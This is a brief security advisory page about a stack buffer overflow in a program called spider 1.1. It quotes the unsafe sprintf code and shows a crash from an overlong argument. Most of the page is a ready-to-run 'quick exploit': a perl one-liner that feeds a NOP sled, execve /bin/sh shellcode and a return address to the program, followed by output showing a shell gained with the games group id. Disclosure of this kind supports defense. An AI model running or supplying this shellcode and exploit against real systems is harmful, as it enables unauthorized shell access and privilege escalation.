| Home | About Emuadmin | Hosting | FAQ | Quote | Site Map | Contact | ||||||
![]() |
||||||
|
||||||
spider-1.1-10032004
Description:
read_file(fname)
char *fname; { FILE *fp; char buf[1024], buf2[1024]; char *dp; fname = remove_newlines(fname); if ((fp = fopen(fname, "r")) == NULL) { (void)sprintf(buf, "Can't open file \"%s\" for loading.", fname); ^^^^^^^^ show_message(buf); return; } sh# spider -s `perl -e 'print "A" x 1045'` Program received signal SIGSEGV, Segmentation fault. Quick exploit: sh# spider -s `perl -e 'print "\x90" x 987 . "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80". "\x0c\xf6\xf\xbf"'` sh# id uid=1002(gigi) gid=13(games) groups=100(users) Availability This message and any further updates can be found at http://www.emuadmin.com/advisories/spider-1.1-10032004 Security Team security@emuadmin.com |